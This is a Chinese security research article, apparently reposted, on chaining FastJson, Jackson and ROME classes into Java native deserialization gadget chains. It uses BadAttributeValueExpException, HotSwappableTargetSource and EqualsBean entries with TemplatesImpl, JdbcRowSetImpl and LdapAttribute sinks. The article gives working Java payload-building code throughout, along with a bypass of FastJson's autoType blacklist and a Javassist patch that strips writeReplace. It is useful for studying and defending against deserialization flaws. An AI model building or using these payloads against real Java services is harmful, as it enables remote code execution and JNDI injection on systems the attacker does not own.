利用特殊反序列化组件攻击原生反序列化入口

目录

前言

本文所述攻击的本质是将上述组件中的类拼接到反序列化利用利用链中,打的是Serilizable入口,而不是特殊反序列化入口

攻击原理

利用链分析

readObject()->任意类toString()

HotSwappableTargetSource & XString

BadAttributeValueExpException

EqualsBean

中间部分

toString()->sink

TemplatesImpl#getOutputProperties

JdbcRowSetImpl#getDatabaseMetaData

LdapAttribute#getAttributeDefinition

序列化逻辑分析

FastJson

黑名单检查与绕过

默认构造方法的必要性及其破除

引用类型绕过

缓存

Jackson

getter调用顺序不稳定及解决方式

删除writeplace()方法

Rome

TemplatesImpl

JdbcRowSetImpl

LdapAttribute

多打几次拼运气(×)

找一个没有get方法的父类或接口(×)

1.12.0后的修复

工具实现

参考


前言

所谓特殊反序列化,就是指自实现了序列化/反序列化逻辑的组件,本文主要讨论以下三种

  • FastJson

  • Jackson(SpringBoot原生环境自带)

  • ROME(其实并不是特殊反序列化组件,但因为它也经常出现在toString利用链中,故放到一起讨论)

本文所述攻击的本质是将上述组件中的类拼接到反序列化利用利用链中,打的是Serilizable入口,而不是特殊反序列化入口

篇幅有限,无法对上述组件进行详细介绍,请还没了解的读者自行查阅有关文章

攻击原理

这些组件在实现自己的序列化逻辑(获取对象field值)时,会使用自身类重写的toString方法

这些类的toString方法中,会调用目标类(也就是放在这些类中的Gadget后半部分,例如TemplatesImpl)的getter方法以获取目标类对象中的field值

目标类obj放在这些类

如 jsonObject1.put("g",obj); ToStringBean toStringBean = new ToStringBean(obj.getClass(),obj);

这些类包括:FastJson的JSONObject类、Jackson的POJONode类,ROME的ToStringBean类

目标类getter:TemplatesImpl#getOutputProperties、LdapAttribute#getAttributeDefinition、JdbcRowsetImpl#getDatabaseMetaData

值得一提的是,由于是原生反序列化中的攻击,所以要求利用链上的类都要实现Serilizable接口,因此无法使用BCEL那条链(仅特殊反序列化如FastJson可用)

利用链分析

readObject()->任意类toString()

HotSwappableTargetSource & XString

依赖于SpringAOP

测试代码如下(以JsonObject为例)

public static void main(String[] args) throws Exception {        Object templatesimpl = null;JSONObject jsonObject = new JSONObject();jsonObject.put("g","m");JSONObject jsonObject1 = new JSONObject();jsonObject1.put("g",templatesimpl);HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put(v1,v1);hashMap.put(v2,v2);setValue(v1,"target",jsonObject1);//      用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker
/*        HashMap<Object,Object> hhhhashMap = new HashMap<>();hhhhashMap.put(tpl,hashMap);*/serialize(hashMap);unserialize("ser.bin");
}public static void setValue(Object obj,String field,Object value) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj,value);}
public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}

来看一下调用栈

图片

在Xtring#equals方法中,调用了obj2的toString()方法,这个obj2就是HotSwappableTargetSource中和XString对象作比较的templatesimpl对象

public boolean equals(Object obj2){if (null == obj2)return false;// In order to handle the 'all' semantics of// nodeset comparisons, we always call the// nodeset function.else if (obj2 instanceof XNodeSet)return obj2.equals(this);else if(obj2 instanceof XNumber)return obj2.equals(this);elsereturn str().equals(obj2.toString());}
BadAttributeValueExpException

JDK原生可用

这个就很简单了,BadAttributeValueExpException.readObject()直接走到它里面对象的toString

代码如下

Object tpl = null;JSONObject jsonObject = new JSONObject();jsonObject.put("gg",tpl);BadAttributeValueExpException poc = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,jsonObject);
//      用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker
/*        HashMap hashMap = new HashMap();hashMap.put(tpl,poc);*/serialize(poc);unserialize("ser.bin");
BadAttributeValueExpException.readObject()private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString(); //在这里调用了里面对象的toString()方法} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}}
EqualsBean

依赖于ROME,在其1.12.0版本前均可用

代码如下

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);Object templatesimpl = null;HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put(equalsBean,"123");Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _objfield.setAccessible(true);field.set(toStringBean,templatesimpl);serialize(hashMap);unserialize("ser.bin");

调用栈如下

图片

另外这条链很多地方都可以替换

  • 由于是在HashMap中调用key.hashCode()作为入口,所以入口类HashMap可以换成Hashtable

  • ObjectBean.hashCode()中会调用EqualsBean.beanHashCode() = EqualsBean.hashCode() 因此可以用ObjectBean替换EqualsBean

中间部分

FastJson的JSONObject类 或 Jackson的POJONode类 或 ROME的ToStringBean类中放好目标类即可

toString()->sink

TemplatesImpl#getOutputProperties

JDK原生可用

这条链早在CC和CB中就用到过,故不多作介绍

三组件均可用,但结合Rome、Jackson使用时需要一些特殊处理,详见后文

JdbcRowSetImpl#getDatabaseMetaData

JDK原生可用

JdbcRowSetImpl jdbcrowsetimpl = new JdbcRowSetImpl();String url = "ldap://127.0.0.1:10990";jdbcRowset.setDataSourceName(url);

这条链其实就是FastJson Jdbc链的另一种getter触发方式,效果同样是走到connect()中的lookup实现JNDI注入

由于组件序列化逻辑问题,该链仅Rome可用,原因详见后文

LdapAttribute#getAttributeDefinition

JDK原生可用

Object obj = newInstance("com.sun.jndi.ldap.LdapAttribute", new Class<?>[]{String.class},"id");setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:13562");setFieldValue(obj, "rdn", new CompositeName("whocansee"+"//b"));public static Object newInstance(String classname, Class<?>[] paramTypes, Object... args) throws NoSuchMethodException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {return getConstructor(classname, paramTypes).newInstance(args);}public static Constructor<?> getConstructor(String classname, Class<?>[] paramTypes) throws ClassNotFoundException, NoSuchMethodException {Constructor<?> ctor = Class.forName(classname).getDeclaredConstructor(paramTypes);ctor.setAccessible(true);return ctor;}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);if(field != null) {field.set(obj, value);}}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);} catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}

此链效果:JNDI注入

由于组件序列化逻辑问题,Rome不可使用该链,原因详见后文

序列化逻辑分析

此部分重点在于分析不同组件不同的序列化逻辑对利用链选用的影响以及绕过安全检查,不会每个都跟进一遍序列化流程,感兴趣的师傅可以自己调试

FastJson

黑名单检查与绕过

了解过FastJson漏洞的师傅一定都知道它的checkAutoType方法,这是其核心防御机制,原本只在FastJson反序列化流程中被触发

然而到了1.2.49以后,JsonObject类中重写了readObject方法,在resolveClass中会对目标类进行checkAutoType检查,本文所述攻击方式会受影响

参考1ue师傅提出的绕过方法,给入口类对象和目标类对象套一层List、Set或Map,以BadAttributeValueExpException入口类为例,代码如下

HashMap hashMap = new HashMap();
hashMap.put(tpl,poc);   
serialize(hashMap);
// tpl即目标类对象(此处为TemplatesImpl类对象) poc即入口类对象(如BadAttributeValueExpException类对象)

从而使得

  • 序列化时,先给外层Map中的目标类对象建立引用映射,再在序列化JsonObject中的目标类对象时以引用类型写入目标类对象

  • 反序列化时,在恢复JsonObject中的目标类对象时,因为它是引用类型,所以不会走到resolveClass方法,实现绕过

至于为什么在恢复引用类型对象时不会调用resolveClass方法,跟进反序列化流程,在此之前有一处判断

switch (tc) {case TC_NULL:return readNull();case TC_REFERENCE:return readHandle(unshared);case TC_CLASS:return readClass(unshared);case TC_CLASSDESC:case TC_PROXYCLASSDESC:return readClassDesc(unshared);case TC_STRING:case TC_LONGSTRING:return checkResolve(readString(unshared));case TC_ARRAY:return checkResolve(readArray(unshared));case TC_ENUM:return checkResolve(readEnum(unshared));case TC_OBJECT:return checkResolve(readOrdinaryObject(unshared));case TC_EXCEPTION:IOException ex = readFatalException();throw new WriteAbortedException("writing aborted", ex);case TC_BLOCKDATA:case TC_BLOCKDATALONG:if (oldMode) {bin.setBlockDataMode(true);bin.peek();             // force header readthrow new OptionalDataException(bin.currentBlockRemaining());} else {throw new StreamCorruptedException("unexpected block data");}case TC_ENDBLOCKDATA:if (oldMode) {throw new OptionalDataException(true);} else {throw new StreamCorruptedException("unexpected end of block data");}default:throw new StreamCorruptedException(String.format("invalid type code: %02X", tc));}

readClassDesc、checkResolve等方法最终都会走到resolveClass 而目标类若为引用类型便会走到TC_REFERENCE 中的readHandle 绕过了resolveClass

也可以简单理解为,在外层Map中的时候就恢复过一次了,有缓存,所以第二次恢复就直接引用了

推广一下这种绕过思路,当Gadget中的某个类在readObject里的resolveClass方法中添加了安全检查,我们只要能顺利通过入口的readObject方法,就可以将黑名单类对象转换为引用类型来绕过检测

而当入口的readObject方法也做了黑名单检测之类的防御时,就需要结合二次反序列化进行绕过了(SignedObject、UnicastRef、JNDI.......)

默认构造方法的必要性及其破除

当JsonObject中的目标类不存在默认构造方法(存在有参构造方法且不定义无参构造方法)时,会出现如下报错:

图片

问题出现在 AliyunCTF2023 #ezbean中,虽然目前的主流sink都不存在这个问题,但我们还是尝试解决一下

引用类型绕过

观察调用栈,发现报错是出在resolveClass->checkAutoType逻辑中,那就可以通过绕过resolveClass来解决问题,具体操作和上个部分一样

缓存

跟进build方法,发现其会遍历一遍目标类的构造方法,如果找不到默认构造方法就会报错,显然build方法内部没有什么可干涉的点

那能否在checkAutoType被调用的前提下,不让build方法被调用呢?看看build方法调用前的代码

if (clazz != null) {if (jsonType) {TypeUtils.addMapping(typeName, clazz);return clazz;}if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver|| javax.sql.RowSet.class.isAssignableFrom(clazz) //) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {TypeUtils.addMapping(typeName, clazz);return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);if (beanInfo.creatorConstructor != null && autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}}

可以看到,在build之前,会先将类加入到缓存中(开了AutoType且此时已经通过了黑名单检查)

回想一下FastJson 1.2.47版本的绕过方式,如果能从缓存中找到目标类,会在很早的时候就加载类并返回,也就绕过了黑名单检查

借鉴这种思路,我们可以添加缓存,提前返回类,从而避免build中的报错

然而这里有一个区别,1.2.47绕过方式中使用了两个json;第一个json为目标类添加缓存,第二个json实现攻击;并且第一次反序列化不会报错中断流程,所以第二个json才能顺利被反序列化从而完成攻击

而我们现在的情况是:完成攻击需要build A类,而build会报错,解决这个问题需要给A类加缓存,但是在给A类加缓存之后又一定会因为build A类而报错

预想的操作是打两次,第一次加缓存,第二次借助缓存提前返回类,而这需要本次攻击加入的缓存持续生效至下一次攻击

这在报错即终止程序生命周期的情况下一定做不到,比如本地运行serialize & unserialize

好在类缓存是存放在一个名为mappings静态变量中的,在大多数服务器环境下,多试几次就能完成攻击

Jackson

引入以下jar包

图片

嫌麻烦的话直接引入 springframework.boot.spring.starter.web依赖就行

getter调用顺序不稳定及解决方式

这一块已经有师傅写过相关文章,我也就不做重复劳动了

问题原因: https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

解决方式: https://xz.aliyun.com/t/12846

值得一提的是,Jackson结合LDAPAttribute使用的时候不需要这部分操作,如果添加了反而会出错(当然

删除writeplace()方法

这一块也早就有很多师傅提过,但因为是一个很小的点,并没有专门分析的文章,不太好直接扔个链接,我也就干脆顺便提一下

在Java对象的序列化流程中,如果其类(或父类)拥有writeReplace方法(字面意思,writeObject 替代)就会走到类自己的序列化逻辑

Jackson中的POJONode类就满足这个条件,在序列化的时候便会发生报错(Jackson序列化和Java原生序列化的数据自然是不同的)

解决这个问题有多种思路,我们直接使用Javaassist字节码修改工具,删除BaseJsonNode类中的writeReplace方法即可

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();

Rome

Rome 1.12.0之前都可以用,注意1.0和后续版本中beanClass、obj的属性名有差别(低版本属性名前会有一个下划线 _ )

TemplatesImpl

Rome结合TemplatesImpl利用时存在和Jackson相似的问题,可能会在调用别的getter时报错而提前终止流程

这里也是采用相似的解决思路,使用Rome时可以直接在ToStringBean里指定从哪个类里获取getter,操作起来很简单

Object templatesImpl = null;ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); //在这里指定了从templates.class接口里去获取getter,//其中只有一个getter:getOutputProperties()BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Class Bv = Class.forName("javax.management.BadAttributeValueExpException");Field val = Bv.getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,toStringBean);serialize(badAttributeValueExpException);       unserialize("ser.bin");
JdbcRowSetImpl

Rome链可以结合JdbcRowSetImpl使用,乍一看没什么大不了,但对getter调用流程有了解的师傅应该会意识到问题所在

getter的调用是一个一个来的,如果中途报错,流程就会中断,让我们来看看JdbcRowSetImpl里的getter(property:仅A到D)

图片

.......有点太多了,这也是为什么FastJson和Jackson结合JdbcRowSetImpl的利用都是会中途报错的

回到Rome,真的有可能走到我们想要的getter而不报错吗?调试一下Rome结合JdbcRowSetImpl的利用代码

public static void main(String[] args) throws Exception{JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();String url = "ldap://127.0.0.1:10990";jdbcRowset.setDataSourceName(url);ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowset);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Class Bv = Class.forName("javax.management.BadAttributeValueExpException");Field val = Bv.getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,toStringBean);serialize(badAttributeValueExpException);unserialize("ser.bin");}

getDatabaseMetaData()处下一个断点,得到调用栈

图片

在ToStringBean#toString(String):137Object value = pReadMethod.invoke(_obj,NO_PARAMS); 处下个断点,观察pReadMethod

  • getQueryTimeout

  • getEscapeProcessing

  • getMaxFieldSize

  • getDatabaseMetaData()

  • .............

这个顺序又是怎么决定的呢,中间的过程很无聊,我就不详细说明了,感兴趣的师傅可以自己去调试一下,也没有多复杂

总之最终的调用顺序是按照一个HashMap转换而成的Descriptor(当成List就行)来的,而我们都知道HashMap是根据键的哈希值来确定存储顺序的(相当于随机了)

总之就是在这个机缘巧合之下,getter存放顺序很合适,使得在调用到getDatabaseMetaData()之前都不会报错

从而Rome链可以结合JdbcRowSetImpl使用!

LdapAttribute

Rome链不可以结合LdapAttribute使用,同样是很反直觉的一个现象,让我们看看LdapAttribute中的getter

图片

方法很少,并且都不会强制报错,我们的目标是调用到getAttributeDefinition

按理说没啥问题,在getAttributeDefinition 处下断点,调试一下

public static void main(String[] args) throws Exception{Object obj = newInstance("com.sun.jndi.ldap.LdapAttribute", new Class<?>[]{String.class},"id");setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:11123");setFieldValue(obj, "rdn", new CompositeName("whocansee"+"//b"));ToStringBean toStringBean = new ToStringBean(obj.getClass(),obj);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Class Bv = Class.forName("javax.management.BadAttributeValueExpException");Field val = Bv.getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,toStringBean);serialize(badAttributeValueExpException);unserialize("ser.bin");}public static Object newInstance(String classname, Class<?>[] paramTypes, Object... args) throws NoSuchMethodException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {return getConstructor(classname, paramTypes).newInstance(args);}public static Constructor<?> getConstructor(String classname, Class<?>[] paramTypes) throws ClassNotFoundException, NoSuchMethodException {Constructor<?> ctor = Class.forName(classname).getDeclaredConstructor(paramTypes);ctor.setAccessible(true);return ctor;}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);if(field != null) {field.set(obj, value);}}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);} catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}

没走到想要的断点。把之前研究JdbcRowSetImpl下的断点开一下,慢慢跟

中间的过程很繁琐,低版本Rome就算实际是报错了也不会打印报错信息,根本不知道是哪里抛出的错误。我一步一个断点,痛苦调试快十分钟才找到出错的地方

建议使用高版本Rome,一步到位

图片

PropertyDescriptor#PropertyDescriptor(String,Method,Method) L135:IntrospectionException("bad property name");下断点, 分析结果如下:

LDAPAttribute类有一个get方法:

图片

ROME的序列化逻辑中会获取到它,然后获取pName(propertyName)——什么都没有,随后直接报错

图片

图片

实在是让人哭笑不得的问题,这处设计的用意显然也不是用来防御的,但我们攻击中的这一环恰好就会因此断开

有没有什么办法解决呢?前面也遇到了相似的问题,尝试迁移一下思路

多打几次拼运气(×)

由于getter就这几个,再加上getter调用顺序随机的机制,理论上来说打个几十次大概率能至少有一次成功

可惜的是,这个问题是出在获取getter时,根本都进入不到调用的流程

找一个没有get方法的父类或接口(×)

很可惜,就算找到LdapAttribute的接口Attribute,都仍然有get()方法

目前为止没能发现别的思路,因此Rome链确实是不可以结合LdapAttribute使用的

1.12.0后的修复

Rome链在1.12.0之后的版本不可用了,修复主要集中在对于ToStringBean类的修改

首先是构造方法的修改

private ToStringBean() {}

这一点对于攻击利用来说无伤大雅,真正致命的修复是对toString方法的修改

public static String toString(Class<?> beanClass, Object obj)

老版本的toString()是无参的,其中beanClass(决定了从哪个类里获取getter)和obj(决定调用哪个对象的getter)都是直接用类属性里的,通过构造方法传入或者反射修改类属性的方式都可以操纵这两个关键参数

修复后,这两个参数由调用toString的地方传入

图片

需要两处都可控才有可能继续利用,这么看来显然是不行的了,1.12.0后Rome链确实是不能再利用了

工具实现

本文所述所有payload都可以在wh1t3p1g师傅的ysomap项目中找到(其中有几条是我贡献的XD)

https://github.com/wh1t3p1g/ysomap

My GitHub:https://github.com/whocansee

参考

https://xz.aliyun.com/t/12768

https://paper.seebug.org/2055

https://zhuanlan.zhihu.com/p/638158617

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

原文地址:https://xz.aliyun.com/t/12910

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

学习更多渗透技能!体验靶场实战练习

+V【zkaq222】或者下面的扫码不然通不过哦,免费领取安全学习资料包!(私聊进群一起学习,共同进步)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/164547.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

静态路由与双线BFD热备份

✍ 路由具体是什么概念&#xff1f; ✍ 路由表和路由协议有什么关系&#xff1f; ✍ 电信联通双线如何做路由热备份&#xff1f; ---- 什么叫路由&#xff1f; ---- 路由器 - 网络设备 - 转发数据 - 要有一张地图 - 路由表 ---- 路由表 - 指明要到达某个目…

Apache Doris (四十五): Doris数据更新与删除 - Sequence 列

🏡 个人主页:IT贫道_大数据OLAP体系技术栈,Apache Doris,Clickhouse 技术-CSDN博客 🚩 私聊博主:加入大数据技术讨论群聊,获取更多大数据资料。 🔔 博主个人B栈地址:豹哥教你大数据的个人空间-豹哥教你大数据个人主页-哔哩哔哩视频 目录 1. 基本原理

安装mmcv及GPU版本的pytorch及torchvision

一、先装GPU版本的pytorch和torchvision pip install torch1.9.1cu111 torchvision0.10.1cu111 torchaudio0.9.1 -f https://download.pytorch.org/whl/torch_stable.html注意&#xff1a;以上适用cuda11.1版本 如果想离线安装&#xff0c;就看这篇文章 二、安装mmcv 看这篇…

奥威BI数据可视化:让各层级管理快速获取信息

都说众口难调&#xff0c;企业各层级管理者想分析的维度不同&#xff0c;急需获取的数据信息不同&#xff0c;怎么才能第一时间满足企业各层级管理者的分析需求&#xff1f;奥威BI数据可视化软件的做法是利用多维动态自助分析实现随时随地按需分析。 多维动态分析功能支持用户…

MATLAB——神经网络参考代码

欢迎关注“电击小子程高兴的MATLAB小屋” %% I. 清空环境变量 clear all clc %% II. 训练集/测试集产生 %% % 1. 导入数据 load spectra_data.mat %% % 2. 随机产生训练集和测试集 temp randperm(size(NIR,1)); %打乱60个样本排序 % 训练集——50个样本 P_train NIR(…

Go实现CORS(跨域)

引言 很多时候&#xff0c;需要允许Web应用程序在不同域之间&#xff08;跨域&#xff09;实现共享资源。本文将简介跨域、CORS的概念&#xff0c;以及如何在Golang中如何实现CORS。 什么是跨域 如果两个 URL 的协议、端口&#xff08;如果有指定的话&#xff09;和主机都相…

【精华系列】跟着Token学习数据挖掘-1

Hello&#xff0c;大家好&#xff01;这里是Token的博客&#xff0c;欢迎您的到来 今天整理的笔记时数据挖掘方向的基础入门&#xff0c;了解数据分析使用的一些基础的Python库&#xff0c;为后面的数据处理做好准备 01-数据分析工具介绍 准备&#xff1a;Python的安装、平台搭…

【论文阅读】点云地图动态障碍物去除基准 A Dynamic Points Removal Benchmark in Point Cloud Maps

【论文阅读】点云地图动态障碍物去除基准 A Dynamic Points Removal Benchmark in Point Cloud Maps 终于一次轮到了讲自己的paper了 hahaha&#xff0c;写个中文的解读放在博客方便大家讨论 Title Picture Reference and prenotes paper: https://arxiv.org/abs/2307.07260 …

【python】文件和异常

文件和异常 实际开发中常常会遇到对数据进行持久化操作的场景&#xff0c;而实现数据持久化最直接简单的方式就是将数据保存到文件中。说到“文件”这个词&#xff0c;可能需要先科普一下关于文件系统的知识&#xff0c;但是这里我们并不浪费笔墨介绍这个概念&#xff0c;请大…

eltable el-tooltip__popper 换行、字体、颜色等调整

show-overflow-tooltip属性 element-ui表格 默认情况下若内容过多会折行显示&#xff0c;若需要单行显示可以使用show-overflow-tooltip属性&#xff0c;它接受一个Boolean&#xff0c;为true时多余的内容会在 hover 时以 tooltip 的形式显示出来。 默认情况 element-ui表格 sh…

为什么MySQL使用B+树索引,而不使用其他作为索引呢?

索引介绍 索引是一种用于快速查询和检索数据的数据结构&#xff0c;其本质可以看成一种排序号的数据结构。 索引的作用相当于书的目录。打个比方&#xff1a;在查字典的时候&#xff0c;如果没有目录&#xff0c;那我们就只能一页一页地去查&#xff0c;速度很慢。如果有目录…

从0到1,申请cos服务器并上传图片到cos文件服务器

目录 准备工作 Java代码编写 控制台打印 整理成工具类 编写接口 Postman测试 准备工作 1.进入网址腾讯云 产业智变云启未来 - 腾讯 (tencent.com) 2.搜索cos,点击立即使用&#xff0c;刚开始会免费赠送你 3.存储都是基于桶的&#xff0c;先创建桶&#xff0c;在桶里面创…

分类预测 | Matlab实现WOA-BiLSTM鲸鱼算法优化双向长短期记忆神经网络的数据多输入分类预测

分类预测 | Matlab实现WOA-BiLSTM鲸鱼算法优化双向长短期记忆神经网络的数据多输入分类预测 目录 分类预测 | Matlab实现WOA-BiLSTM鲸鱼算法优化双向长短期记忆神经网络的数据多输入分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现WOA-BiLSTM鲸鱼算法…

虚拟机如何联网【NAT】

查看VMWARE的IP地址 #进入root用户 su -#更改虚拟网卡设置界面 vi /etc/sysconfig/network-scripts/ifcfg-ens33 修改ONBOOT为yes BOOTPROTO为static IPADDR为前面的网段 192.168.211.xx (xx为自己设置的&#xff0c;可以随意设置&#xff0c;前面的为前面查看的IP地址的前…

【ROS 2 基础-常用工具】-6 Rviz基础使用

所有内容请查看&#xff1a;博客学习目录_Howe_xixi的博客-CSDN博客

Chrome 115之后的版本,安装和使用chromedriver

在Python中使用selenium 时报如下错误&#xff1a; 1. 老版本chrome对应的chromedriver 下载地址&#xff1a;CNPM Binaries Mirror 2. 新版本chrome对应的chromedriver 下载地址&#xff1a;Chrome for Testing availability

一百九十一、Flume——Flume配置文件各参数含义(持续完善中)

一、目的 在实际项目的开发过程中&#xff0c;不同Kafka主题的数据规模、数据频率&#xff0c;需要配置不同的Flume参数&#xff0c;而这一切的调试、配置工作&#xff0c;都要建立在对Flume配置文件各参数含义的基础上 二、Flume各参数及其含义 &#xff08;一&#xff09;…

js获取视频编码

一.背景 有些浏览器不支持某些视频的编码方式导致播放出现问题&#xff0c;这个时候要限制视频上传 二.插件 https://unpkg.com/mediainfo.js0.1.4/dist/mediainfo.min.js 三.完整html代码 <!DOCTYPE html> <html lang"en"> <head><meta ch…

memcpy内存拷贝函数

目录 一、memcpy内存拷贝函数 注意事项 二、memcpy与strcpy对比 三、模拟实现memcpy函数 四、memcpy函数不能进行两块存在内存重叠的空间的内存拷贝 五、改进my_memcpy函数 一、memcpy内存拷贝函数 头文件&#xff1a;string.h 函数原型&#xff1a;void* memcpy(void* …

Element Plus el-form表单自定义插槽如何使用

//正常无插槽表单<el-form :model"form" label-width"120px"><el-form-item label"Activity name"><el-input v-model"form.name" /></el-form-item></el-form>//带插槽表单//适用二次封装的form组件&l…